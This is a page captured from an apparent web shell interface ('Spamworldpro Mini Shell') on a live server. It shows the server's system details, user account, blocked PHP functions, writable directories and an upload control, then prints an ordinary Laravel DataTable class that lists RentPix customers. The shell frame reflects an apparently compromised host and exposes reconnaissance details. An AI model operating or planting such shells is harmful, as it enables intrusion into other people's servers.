Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/Corals/modules/RentPix/DataTables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/Corals/modules/RentPix/DataTables/CustomersDataTable.php
<?php

namespace Corals\Modules\RentPix\DataTables;

use Corals\Foundation\DataTables\BaseDataTable;
use Corals\Modules\RentPix\Models\Customer;
use Corals\Modules\RentPix\Transformers\CustomerTransformer;
use Yajra\DataTables\EloquentDataTable;

class CustomersDataTable extends BaseDataTable
{
    /**
     * Build DataTable class.
     *
     * @param  mixed  $query Results from query() method.
     * @return \Yajra\DataTables\DataTableAbstract
     */
    public function dataTable($query)
    {
        $this->setResourceUrl(config('rentPix.models.customer.resource_url'));

        $dataTable = new EloquentDataTable($query);

        return $dataTable->setTransformer(new CustomerTransformer());
    }

    /**
     * Get query source of dataTable.
     *
     * @param  Customer  $model
     * @return \Illuminate\Database\Eloquent\Builder|static
     */
    public function query(Customer $model)
    {
        return $model->newQuery();
    }

    /**
     * Get columns.
     *
     * @return array
     */
    protected function getColumns()
    {
        return [
            'id' => ['visible' => false],
            'name' => ['title' => trans('RentPix::attributes.customer.name')],
            'full_name' => ['title' => trans('RentPix::attributes.customer.full_name'), 'searchable' => false, 'orderable' => false],
            'email' => ['title' => trans('RentPix::attributes.customer.email')],
            'alt_email' => ['title' => trans('RentPix::attributes.customer.alt_email')],
            'zip' => ['title' => trans('RentPix::attributes.customer.zip')],
            'phone' => ['title' => trans('RentPix::attributes.customer.phone')],
            'type' => ['title' => trans('RentPix::attributes.customer.type')],
            'city' => ['title' => trans('RentPix::attributes.customer.city')],
            'state' => ['title' => trans('RentPix::attributes.customer.state')],
            'address' => ['title' => trans('RentPix::attributes.customer.address')],
            'created_at' => ['title' => trans('Corals::attributes.created_at')],
            'updated_at' => ['title' => trans('Corals::attributes.updated_at')],
        ];
    }

    public function getFilters()
    {
        return [
            'type' => [
                'title' => trans('RentPix::attributes.customer.type'),
                'class' => 'col-md-2',
                'type' => 'select',
                'options' => trans('RentPix::attributes.customer.type_options'),
                'active' => true,
            ],
            'name' => [
                'title' => trans('RentPix::attributes.customer.name'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true,
            ],
            'email' => [
                'title' => trans('RentPix::attributes.customer.email'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true,
            ],
            'phone' => [
                'title' => trans('RentPix::attributes.customer.phone'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true,
            ],
            'state' => [
                'title' => trans('RentPix::attributes.customer.state'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true,
            ],
            'city' => [
                'title' => trans('RentPix::attributes.customer.city'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true,
            ],
        ];
    }
}

Spamworldpro Mini